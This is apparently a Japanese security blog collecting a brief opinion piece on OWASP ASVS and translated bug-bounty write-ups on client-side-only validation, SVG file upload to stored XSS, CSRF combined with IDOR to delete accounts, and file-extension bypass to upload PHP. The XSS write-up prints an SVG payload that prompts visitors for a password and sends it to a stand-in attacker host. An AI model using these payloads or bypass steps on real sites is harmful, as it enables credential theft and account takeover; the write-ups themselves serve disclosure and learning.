OWASP ASVSについて感想をかいてみた

Hello there, ('ω')ノ

一回目のワクチンを接種後に副反応がきつかったので週末は横になって。

YouTubeで脆弱性診断サービス関連の動画の音声だけを聞きながら過ごしていて。

各社、脆弱性診断サービスのレベルはさまざまで。

ツールベースのところも少なくないようで。

本当に大丈夫かなあといらない心配もしたりと。

大きなお世話なのですが。

他には、ツールでは難しい診断はパートナー企業へとのこともあって。

結局は、委託していたりと。

中でも興味のあったのは、OWASP ASVSをベースに。

各ホワイトハッカーの診断手法を標準化してばらつきをなくしているとか。

さっそく、拝見してみたのですが、個人的にはちょっと納得いかなくて。

ASVSをベースにするとどのような診断手法の標準化ができるのだろうかと。

軽く目を通しただけなのですが、自分の頭では診断のイメージがつかなかったりと。

個人的な意見としては、これは開発する際にエンジニアが読むべき内容であって。

レビューの際に使用するには有効ではないかと思ったりしただけで。

ASVSをベースに診断手法を標準化するとなると大変だろうなあと。

やはり、個人的にはWSTGベースのほうが実践に向いているようにも思えて。

これもまた、大きなお世話なのですが。

https://github.com/OWASP/ASVS/tree/master/4.0

https://github.com/OWASP/ASVS/blob/master/4.0/OWASP-Application-Security-Verification-Standard-4.0-ja.pdf

Best regards, (^^ゞ

Simple & Sweet: Bypass email update restriction to change emails of team membersを訳してみた

Hello there, ('ω')ノ

電子メールの更新制限をバイパスして、チームメンバーの電子メールの変更を。

脆弱性：

　論理の欠陥

　承認の欠陥

記事：

　https://sunilyedla.medium.com/simple-sweet-bypassing-email-update-restriction-to-change-emails-of-team-members-6ce5770e7929

ターゲットのウェブサイトでは、ユーザはさまざまな役割で。

他のユーザを招待できて。

管理者のみが他の管理者と低レベルのユーザの詳細を編集できて。

中でも管理者は、プロファイルの詳細のみを編集できて。

すべてのユーザのメールの変更のみに制限されていて。

なので、他のユーザのプロファイルの詳細を編集しようとすると。

電子メールフィールドは下記のようにブロックされて。

メールアドレスを編集することはできず。

これを破るために様々なテクニックを始めることに。

その中の古い手法の１つは、要素を検査することで。

これを回避するために、単にreadonly=””を削除すると。

すると、ブロックは削除されて。

その後、このフィールドのメールアドレスを編集してフォームを送信すると。

メールは正常に更新されて。

ただ、管理者は他のチームメンバーのメールアドレスを変更できるものの。

ターゲットのワークフローに応じて変更することはできないので。

これは、クライアント側での検証はされるものの。

バックエンドの検証がないということで。 

Best regards, (^^ゞ

How I was rewarded a $1000 bounty after abusing File Upload functionality to Stored XSS Vulnerability leading to credential theft of a vistor in a website.を訳してみた

Hello there, ('ω')ノ

Stored XSS Vulnerabilityへのファイルアップロード機能を悪用して。

Webサイトのビジターの資格情報を盗んだ後、$1000の報奨金を受け取った方法を。

脆弱性：

　無制限のファイルアップロード

　保存されたXSS

記事：

　https://kunalkhubchandani.medium.com/how-i-was-rewarded-a-1000-bounty-after-abusing-file-upload-functionality-to-stored-xss-945a40ac6f94

今日は、保存されたXSSでファイルがアップロードされるURLを。

与えられた被害者の資格情報の盗難につながて。

昨今、バグハンターは、XSS、SQLIなどの技術的な脆弱性よりも。

ビジネスロジックの脆弱性を見つけることに重点を置いていると思っていて。

これは、Webアプリケーションのセキュリティが向上しているためで。

ただ、ファイルのアップロードなどの技術的脆弱性を見つけることもまだできて。

１．提供された資格情報を使用してWebアプリケーションにログインして。

２．手動で列挙して。

３．アプリケーションには非常に多くのWebフォームがあって。

４．このフォームにはさまざまなテキストフィールドがあって。

　フォームを手動でファジングして。

　sqli、xss、sstiなどの脆弱性を見つけようとしたもののうまくいかず。

　ロゴ、背景画像、広告画像が私の注意を引いたので。

　悪意のある細工されたファイルをアップロードして。

　何が起こるかを確認することに。

５．このファイルをアップロードすると、エラーが発生したので。

　画像ファイルの形式はgif、png、jpgまたはjpegである必要があるようで。

６．ファイル名を「fileupload.svg」から「Fileupload.svg.png」に変更すると。

　正常にアップロードされて。

７．[Next]をクリックすると。

　これらのファイルにアクセスできるエンドポイントにリダイレクトされるようで。

８．[View Image]をクリックするとペイロードが実行されたので。

下記のアップロードしたSvgペイロードファイルを。

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>

　<script type=”text/javascript”>
　　alert(document.cookie);
　</script>
</svg>

下記のように変更して、クレデンシャルを盗むことに。

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>

　<script> 
　　var passwd = prompt("Enter your password to continue");
　　var xhr = new XMLHttpRequest();
　　xhr.open("GET","https://attacker-url.com/log.php?password="+encodeURI(passwd));
　　xhr.send();

　</script>
</svg>

９．この変更したペイロードファイルを３か所に再度アップロードして。

１０．アップロード後に下記にアクセスして。

１１．緑色のsvg画像を表示すると、パスワード入力のペイロードが実行されて。

下記のようにパスワードが取得できて。

Best regards, (^^ゞ

CSRF with IDOR - A Deadly Comboを訳してみた

Hello there, ('ω')ノ

IDORを使用したCSRF ー 致命的なコンボを。

脆弱性：

　CSRF

　IDOR

記事：

　https://shahjerry33.medium.com/csrf-with-idor-a-deadly-combo-203e93967702

概要 ：

HackerOneのプライベートプログラムのスコープ内に多くのドメインがあって。

ドメインの１つで、CSRFの脆弱性を発見して。

これを安全でない直接オブジェクト参照と組み合わせると。

他のアカウントも削除できて。

また、自分で登録できるアカウントには下記の２つの異なるタイプがあって。

　オープンソースアカウント

　トライアルアカウント

トライアルアカウントでは、29日間のトライアルがあって。

キャンセルすることもできるので、安全でない直接オブジェクト参照攻撃を。

試すことを考えたものの、うまくいかず。

トライアルアカウントで登録したところ。

「エンタープライズキャンセル」のオプションがあって。

このオプションをクリックするとアカウントが自動的に削除されて。

リクエストには、下記の２つのパラメータがあって。

　googleAnalyticsId=<Value>&mktToken=<Value>

プライベートブラウザで、別のアカウントのリクエストをキャプチャしたときは。

パラメータ値がなくて。

　googleAnalyticsId=&mktToken=

なので、CSRF攻撃に対して脆弱である可能性があると思たものの。

GETリクエストにはアカウントのユーザ名が含まれていたので。

下記のように変更して、CSRFリクエストを作成することに。

　GET /userName1/account/cancelTrial/?&googleAnalyticsId=&mktToken=

　⇩

　GET /userName2/account/cancelTrial/?&googleAnalyticsId=&mktToken=

他にもリファラーヘッダも変更することに。

　https://example.com/userName1/account/account

　⇩

　https://example.com/userName2/account/account

CSRFとは？

　クロスサイトリクエストフォージェリは。

　攻撃者がユーザに意図しないアクションを実行させることを可能にする脆弱性で。

　これにより、攻撃者は異なるWebサイトが相互に干渉するのを。

　防ぐように設計された同一生成元ポリシーを部分的に回避できて。

IDORとは？

　安全でない直接オブジェクト参照（IDOR）は。

　アプリケーションがユーザ指定の入力を使用して。

　オブジェクトに直接アクセスするときに発生するアクセス制御の脆弱性の一種で。

脆弱性を発見した手順：

　１．2つの異なるブラウザ（FirefoxとFirefox Private）からに下記にアクセスして。

　　https://example.com
   

　２．両方のブラウザでトライアルアカウントを作成して。
     

　３．リンクを確認してダッシュボードに移動して。
     

　４．被害者のアカウント（defendingera）から下記へアクセスすると。

　　　https://example.com/defendingera/account/account

　　攻撃者のエンタープライズ（試用）アカウント（pentesterworld）を。

　　キャンセルするオプションを見つけて。

　　　https://example.com/pentesterworld/account/account

５．Cansel Trialボタンをクリックして。

　Burp Suiteを使用してリクエストをキャプチャすると。

　下記のパラメータ値を削除したことがわかって。

　　googleAnalyticsId=&mktToken=

　６．ユーザ名をpentesterworld ⇨ defendingeraに変更して。

　　GETリクエストのURLとリファラーヘッダでCSRF PoCを作成することに。

　７．CSRF PoCを生成して、htmlとして保存して。

　８．私はそれを実行し、defendingeraアカウントでページをリロードすると。

　　アカウントが削除されて。

ちなみに、実際のターゲットアカウントの電子メールIDは。

sovovem334@yektara.com（Temp Mail）で。

脆弱性をよりよく理解するために。

２つの異なるブラウザ（FirefoxとFirefox Private）で開いている。

両方のアカウント（account1とaccount2）のリクエストを比較することに。

注：

　pentesterworldが攻撃者のアカウント、defendingeraが被害者のアカウントで。

緩和 ：

　適切なCSRFトークンをリクエストに追加して。

　サーバ側だけでなくクライアント側でも検証する必要があって。

Best regards, (^^ゞ

Unrestricted File Uploadを訳してみた

Hello there, ('ω')ノ

無制限のファイルアップロードを。

脆弱性：

　無制限のファイルアップロード

記事：

　https://binamrapandey.medium.com/unrestricted-file-upload-e95e1c6fb80

今回はターゲットをbuggyweb.xyzと呼ぶことに。

しばらくして、discussion.buggyweb.xyzのような。

ディスカッションフォーラムがあることに気づいて。

探索を始めると画像をアップロードするための機能があったので。

そのファイルアップロード機能のテストを開始して。

拡張子が、phpのファイルをアップロードしようとすると拒否されたので。

少し掘り下げてみると、ファイルの「ホワイトリスト」があることがわかって。

なので、許可されているファイル拡張子のみがアップロードされるようで。

基本的に、ファイルの最後の拡張子を確認するだけで。

よって、Burp Suiteでリクエストをキャプチャして。

ファイル拡張子を変更してみると失敗して。

しばらくすると、ファイル拡張子をクライアント側とサーバ側とで。

再確認していることがわかって。

なので、クライアント側の確認を回避するために画像ファイルをアップロードして。

Burp Suiteでキャプチャして。

その画像コンテンツの中身をPHPコードに変更してから。

アップロードのリクエストを転送することに。

ここで、ファイルをアップロードしてもまだ公開していないので。

公開ボタンをクリックする前に、もう一度Burp Suiteのインターセプトをオンにして。

そのファイルの拡張子をPHPに変更すると、PHPファイルが公開されて。

Best regards, (^^ゞ